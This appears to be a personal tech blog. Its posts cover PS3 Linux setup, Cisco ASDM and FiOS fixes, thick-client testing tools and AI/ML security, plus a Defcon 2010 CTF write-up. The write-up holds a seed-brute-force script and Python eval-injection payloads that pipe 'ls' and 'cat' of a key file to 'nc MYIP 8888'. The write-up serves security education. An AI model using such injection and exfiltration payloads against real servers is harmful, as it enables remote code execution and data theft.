5

Cell SDK on PS3 with Yellow dog linux 5.0

-

People tend to think that gone are the days when the “RPM Hell” used to exist. We have yum, aptitude and what not! If you install linux on a PS3, I’d like to bring you back to reality, especially like me when you have yellowdog 5.0 installed on a first gen PS3.
What is interesting is that all these package managers rely on repositories in /etc/yum.repos.d/*.
If you do not have the good repositories then you can kiss goodbye to installing the Cell Broadband Engine SDK provided by IBM. This SDK has the spu-gcc, spu-g++ which is the right set of compilers if you want to use the 1 master processor (Power Processor Element – PPE) and the other six SPE (Synergistic Processor Elements – SPEs) …think of these as slaves. You might wonder where’s the 7th of the cell processor, well, you cannot access it because it is used internally by the PS3 for virtualization.
So I got a yellow dog 5.0 iso image from here. I followed the instructions for installing it from here. I did this almost a year ago! Yes…I did actually keep it dead for a while! Then I installed gcc and compiled John the ripper! To my utter disappointment, there was no performance benefit!
Then Marc Bevand told me at Toorcon X that I needed spu-gcc to compile JTR on PS3 to get the benefits. So I got the cell sdk ISO from here. I then mounted the ISO.
mount -o loop cellsdk11.iso /mnt/disk
cd /mnt/disk
cd software
./cellsdk install
I got bunch of errors. It wanted me to install freeglut-devel and tk-8.4.*.
Thus began my journey of 10,000 steps to get the dependencies resolved and I burnt my fingers, keyboard, brains, etc….and although I realized that everyone in the US and the world had found hope…things were not looking bright for me! Until I bumped into this fantastic repository here. Trust me it took me about 8 hours of incessant installing and compiling (almost 120 odd different files) and scores of google searches to land me into this. I installed the glut, libx11, tk, tcl, libtcl, glut-devel, libstdc++, libstdc-so7, and many other packages that I cannot even recall now to get the cellsdk to work! And even though I did, I still couldnt get ./cellsdk install to work! After about 8 hours of effort and being so close to success just seemed evil. Then I realized that all the packages needed were related to the PPC64 simulator (libx11.ppc64, libtcl.ppc.64, etc.)…a quick look into the readme told me that I could neglect that using the –nosim directive to make it work.
Finally,
./cellsdk install –nosim
worked!!!!!
A small step for mankind but a giant step for me!

1

Cisco ASDM IDM Launcher Loading Errors

-

Cisco ASDM is quirky in the sense that if the right Java version is not found it will just puke with errors that make no sense. This is what my java log looks like:
Application Logging Started at Fri Aug 01 11:01:11 EDT 2010
---------------------------------------------
Local Launcher Version = 1.5.41
Local Launcher Version Display = 1.5(41)
Cannot read profile file C:\Documents and Settings\abcdef\.asdm\data\deviceinfo.conf.
OK button clicked
Trying for ASDM Version file; url = https://www.example.com/admin/
Server Version = 6.2(1)
Server Launcher Version = 1.5.41, size = 476672 bytes
Launcher version checking is successful.
invoking SGZ Loader..
Cache location = C:/Documents and Settings/abcdef/.asdm/cache
Exception in thread "SGZ Loader: launchSgzApplet" java.lang.NoSuchFieldError: b
at dac.setLevel(dac.java:65)
at dac.(dac.java:44)
at gd.(gd.java:78)
at f5.a(f5.java:117)
at com.cisco.dmcommon.util.DMCommonEnv.(DMCommonEnv.java:38)
at com.cisco.pdm.PDMApplet.updateProgress(PDMApplet.java:300)
at com.cisco.pdm.PDMApplet.init(PDMApplet.java:63)
at com.cisco.nm.dice.loader.r.run(DashoA19*..:409)

It happens because the ASDM launcher is not capable of running on newer JVMs. Since I had older JVMs, I went into Control Panel -> Java. Click on the Java tab, followed by clicking the “view” button. This will show you the current JVM being used. If you have older JVMs click on Find (you will have to select the folder where you suspect older JVMs to be…which in my case was c:\Program Files). If you don’t find an older JVM then just install an older version and it will work.

0

Something new that I learnt in Excel

-

While my roommate was doing an excel sheet I came to know of an interesting thing:
If you wanted to transpose rows and columns in an excel file (i.e. interchange rows and columns) just select all the rows and columns that you want to be interchanged and copy them. Then select another cell outside the selected range and right-click. Then click on “Paste Special” and then click on the check box on “Transpose”. That’s it!

0

Verizon FiOS and PS3 Media Server Streaming Issues

-

If you’re like me and recently upgraded to Verizon FiOS and you have your PS3 on the wired segment and the Media Server (such as PS3 Media Server, TVersity, etc.) on the wireless segment, you’re in for a ride with the configuration.
By default, you can’t route the traffic between the wired and wireless segments over UDP! You can send ICMP echo packets (i.e., ping) but the PS3 just won’t detect the Media server. You may disable the Host-based firewall (e.g., Norton, Kaspersky, McAfee, etc.) but it still won’t work.

If you happen to read posts like these, you will see that you have to disable “IGMP proxy”. IGMP Proxy basically reduces the traffic on the multicast addresses to a bare minimum. Unfortunately for you, this causes the traffic between PS3 Media Server and PS3 to drop.

So you log into your FiOS router’s administration console typically located at 192.168.1.1. Click on Advanced -> Yes -> Firmware Upgrade and check the firmware version. You will see that it is an ActionTec router (based on the Auto-update URL). But nowhere do you see the option to update the “IGMP Proxy” settings. That’s because that feature is “hidden” in the latest firmwares.

So you just need to copy/paste the following URL into the browser address bar and you will see the option to disable “IGMP proxy”.
http://192.168.1.1/index.cgi?active_page=6059
Disable it and Voila! The PS3 Media Server and PS3 can now talk to each other.

0

Echo Mirage and UHooker

-

It can get interesting to test the security of thick client applications. If you start debugging you could end up losing a lot of time with not too many results. Of course, time is always at a premium when you pen testing in a week long gig. There are a couple of tools that can really help you to gain insight into a thick client (i.e., an application written in a binary format such as an executable, ActiveX control, flash object, etc.) and communicating to a server using the client/server model.
The need for a proxy to hook into the communications is a prime need and EchoMirage can do a great job of hooking into function calls related to win32 sockets, openssl functions. You have to select an active process for Echomirage to inject into or you can even spawn a process from the menu options in EchoMirage itself. It’s a great tool with a built-in editor so you can edit the traffic. However, sometimes you have to be careful because it’s binary data that you are editing so while editing it is easy to mess up a few flags, etc.
Another great tool is actually a plugin for OllyDbg called UHooker that can let you specify which functions you want to place a hook into. You have to configure a binary editor of your choosing and the functions to be hooked into in a .cfg file. The documentation for Uhooker is located here.

0

Pwtent Pwnable 200 Writeup CTF Quals 2010

-

This post is a writeup of the Pwtent Pwnable 200 Challenge in Defcon 2010 CTF Quals.
The question was:
Running on pwn8.ddtek.biz. And this file was given.

If you open this file in an editor you see the following screen:

Note that there are references to lottod.pys file which indicates that this could be a python script file.  Sure enough, if you decompile it using decompyle you get the following source.

class ForkedTCPRequestHandler(SocketServer.StreamRequestHandler):
    __module__ = __name__
    lotto_grid = None
    connstream_fobj = None

    def setup(self):
        signal.signal(signal.SIGALRM, self.handleSessionTimeout)
        signal.alarm(SESSION_LIMIT_TIME)

    def handleSessionTimeout(self, signum, frame):
        raise socket.timeout

    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])

        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])

        return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))

        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

    def playGame(self):
        self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

    def handle(self):
        rand_seed = self.request.getpeername()[1]
        self.connstream_fobj = self.request.makefile()
        random.seed(rand_seed)
        self.request.send('Welcome to lottod good luck!\n')
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        self.winners = self.createWinners()
        self.request.send('Your random picks are:\n')
        for pick_idx in range(0, PICK_SIZE):
            self.request.send(('%d. %s\n' % (pick_idx,
             self.lotto_grid[self.pick_list[pick_idx]])))

        self.handlePickChange()
        self.playGame()

class ForkedTCPServer(SocketServer.ForkingMixIn,
 SocketServer.TCPServer):
    __module__ = __name__
    timeout = 5
    request_queue_size = 10

def runServer():
    (HOST, PORT,) = ('0.0.0.0',
     10024)
    server = ForkedTCPServer((HOST,
     PORT), ForkedTCPRequestHandler)
    server.serve_forever()

def doFork(n):
    try:
        pid = fork()
        if ((pid > 0) and (n > 0)):
            print ('Lottod PID %d' % pid)
        if (pid > 0):
            exit(0)
    except OSError, e:
        print ('Fork %d failed %d (%s)' % (n,
         e.errno,
         e.strerror))
        exit(1)

if (__name__ == '__main__'):
    doFork(0)
    chdir('/')
    setsid()
    umask(0)
    doFork(1)
    runServer()

# local variables:
# tab-width: 4

If you notice, this indicates that the server is running on port 10024 and indeed it was on pwn8.ddtek.biz. If you read through the code you also see that the source port number is being used as a seed to the pseudo-random number generator (PRNG).

rand_seed = self.request.getpeername()[1]

So I fired up netcat to see if indeed that was the case and sure enough no matter how many times I fired up the command the options I’d see would always be the same.

# nc -vv -p 1  pwn8.ddtek.biz 10024

If you see through the code of the decompiled file, it shows that the location to write as well the value to be written can be controlled by the user in the following snippet:

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

So I first wrote up a python script that followed the exact sequence of command as the decompiled code and found that there was no combination in the 65535 source port (or seeds) that would satisfy the following condition (the condition for winning):

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

But then you also see that the first element of the self.lotto_grid list is a function pointer. Also, you notice that there’s an eval() function that essentially executed the checkWinners function.
So I wrote up the following python script that would go through all possible combinations of ports and index values to overwrite so that I could overwrite the self.lotto_grid[0] value because that’d give me control of the execution flow.

# !/usr/bin/python
import random
RAND_MAX = (2 ** 20)
PICK_SIZE = 5
MAX_READ = 128
LOTTO_GRID_SIZE = 299
SESSION_LIMIT_TIME = 30
MAX_PICK_CHANGES = 5
WINNER_CHECK_FUNCTION = 'self.checkWinners'

class Test:
    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])
	#print "Winners are: ", winners
        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])
	return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))
	#counter = 0
	#while counter < len(grid):
	#	print grid[counter]
	#	counter += 1
        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))
        if winner:
            print "ZOMG You won!!!\n'"
	    return True
        else:
            print "Sorry you aren't very lucky... Maybe you have better luck with women?\n"
	    return False

    def playGame(self):
        #self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
        #    input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
        #    if (input.strip() == ''):
        #        break
        #    else:
        #        idx_to_edit = int(input)
        #        l = self.getLine('Input your new pick\n')
        #        self.lotto_grid[self.pick_list[idx_to_edit]] = l
		for idx_to_edit in range(-PICK_SIZE,PICK_SIZE):
			if self.lotto_grid[self.pick_list[idx_to_edit]]==self.lotto_grid[0]:
				print "Ind: %d, %s" % (idx_to_edit,self.lotto_grid[0])
				return True
	return False
	#gridcounter = 0
	#found = False
	#while gridcounter < len(self.lotto_grid):
	#  if self.lotto_grid[gridcounter] in self.winners:
	#    if gridcounter < PICK_SIZE:
	#      print "Gridctr: %d : %d" % (gridcounter,self.lotto_grid[gridcounter])
	#      found = True
	#  gridcounter += 1
	#return found
	#allfound = False
	#instances = 0
	#for x in self.winners:
	#	foundx = False
	#	gridctr = -LOTTO_GRID_SIZE
	#	while gridctr < LOTTO_GRID_SIZE:#len(self.lotto_grid):
	#			foundx = True
	#			print "gridctr: %d , val = %d " % (gridctr,x)
	#			#break
	#		gridctr += 1
	#	if foundx:
	#		allfound = True
	#	else:
	#		allfound = False
	#		return False
	#return allfound

    def handle(self,port):
        random.seed(port)
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        #print "picklist : ",self.pick_list
	self.winners = self.createWinners()
        #for pick_idx in range(0, PICK_SIZE):
        #    print(('%d. %s\n' % (pick_idx,
        #     self.lotto_grid[self.pick_list[pick_idx]])))
        if self.handlePickChange():
		return True
	return False
        #self.playGame()
	#if self.checkWinners(self.lotto_grid[1:]):
	#	return True
	#return False

test = Test()
portno = 0
while portno < 65536:
  print "Trying...%d" % ( portno )
  if test.handle(portno):
	print "Success! on port %d" % (portno)
    	#break
  portno += 1

Once you run this you get the following values for port and index: 28741 & -5 respectively.

$ sudo nc -vv pwn8.ddtek.biz 10024 -p 28741
Warning: inverse host lookup failed for 192.41.96.63: Unknown server error : Connection timed out
pwn8.ddtek.biz [192.41.96.63] 10024 (?) open
Welcome to lottod good luck!
Your random picks are:
0. self.checkWinners
1. 321358
2. 144737
3. 447310
4. 63867
Input the number of the pick that you wish to change or newline to stop:
-5
Input your new pick
self.checkWinners(self.winners.clear())
Input the number of the pick that you wish to change or newline to stop:

Thanks for your choices, calculating if you won...ZOMG You won!!!
 sent 44, rcvd 344
trance@bt:~$

But then this still does not give you the answer. The key here is to realize that you can perform remote command injection. So if you start a nc listener on your server and give following parameters for the new pick for the same index of -5 (in multiple runs of course) you can start enumerating the directories:

self.checkWinners(__import__('os').system('ls /home|nc MYIP 8888'))
self.checkWinners(__import__('os').system('ls /home/lottod|nc MYIP 8888'))
self.checkWinners(__import__('os').system('cat /home/lottod/key|nc MYIP 8888'))

After the last command your netcat listener shell shows the following string:
holdem is a safer bet than lotto

And that is indeed the answer to the challenge!

The python file is located here: Pp200sol.py.

0

Security Considerations in use of AI/ML

-

The world of Artificial Intelligence (AI) seems to be exploding with the release of ChatGPT. But as soon as the the chat bot came into the hands of public people started finding self-sabotaging queries at worst (exploitable issues) and some weird interactions whereby people could write malware that could stay undetected by Endpoint Detection and Response (EDR) bypasses.

What is AI?

Very simply, Artificial Intelligence (per Wikipedia) is intelligence demonstrated by machines. But technically, it is a set of algorithms that can make do things that a human does by making an inference, similar to humans, on the basis of data that was historically provided as “reference” to make the decisions. This reference data is called as training data. And the data which is used to test the effectiveness of the algorithm to arrive at a decision on the basis of that reference, is called as test data. Any good machine learning course teaches how do you design data and how much data to use for training and how much to use for testing and metrics of performance but that is not relevant to our discussion here – however, what’s important is that it is the data that you provide that controls the decision-making in an artificially intelligent algorithm. This is a key difference between typical algorithms (where the code is more or less static and makes decisions on certain states in the program) whereas in an artificially intelligent system you can have the program arrive at different decisions depending on how one decides to “train” the algorithms.

What is ML?

Machine Learning (ML) is a subset of Artificial Intelligence (AI) where the artificial intelligent algorithms evolve their decision-making on the basis of data that has been processed and tagged as training data. ML systems have been used in classifying spam or anomaly detection in computer security. These systems tend to use statistical inference to establish a baseline and highlight situations where the input data does not fall within the norm. When operational data is being used to train ML-based system one has to be careful that we are not incrementally altering the baselines of what’s normal and what’s not. Such “tilting” may happen over time and its important to protect against drift of such systems. Some “drift” is ok but “bad drift” is not – which is hard to predict. E.g., let’s say you classify some data inaccurately and accidentally/maliciously end up using it for training your ML-models but if it inherently alters the behavior of the ML model, then the model becomes unreliable.

What is Adversarial AI?

Adversarial Artificial Intelligence (AI) based threats are ones where malicious actors design the inputs to make models predict erroneously. There are a couple of different types of attack here – poisoning attack (where you train models with bad data controlled by adversaries) or an evasion attack (where you make the artificial intelligence system make a bad inference with a security implication). The way to understand these attacks is that the poisoning attack is basically “Garbage-in-garbage-out” but its this really “special” garbage. This is garbage that changes the behavior of the algorithm in a way that the algorithms returns an incorrect result when it has to make a decision. The inferential attacks are different in that the decision made is wrong because the input is such that it appears differently to the ML algorithm than it does to humans. E.g., Gaussian noise being classified as a human or a fingerprint being matched incorrectly.

Can we attack these systems in other ways?

In a paper presented by Google researchers created a tool (TensorFuzz) that they were able to demonstrate finding a few varieties of bugs in Deep Neural Networks (DNNs). So typical software attack techniques do work against the deep neural networks too. Fuzzing has been used for decades and has caused faults in code forever. At its core, fuzzing is simple, send garbage input that causes a failure in the program. It’s just that the failures in DNN are different and you want to ensure the software relying on the DNN to make a decision handles such failures appropriately and do not cause a security failure with secure defaults.

Protection mechanisms

There are a few simple ways to look at ML systems and security thereof. Microsoft released an excellent howto on how to threat model ML systems. Additionally, using adversarial training data is imperative to ensure that artificially intelligent algorithms performs as you expect them to in the presence of adversarial data. When you rely on ML-based systems, its all the more important that you test it appropriately and continue to do so against baselines. Unfortunately, for Deep Neural Networks transparency of decision making continues to be an issue and needs the AI/ML researchers to establish appropriate transparency measures.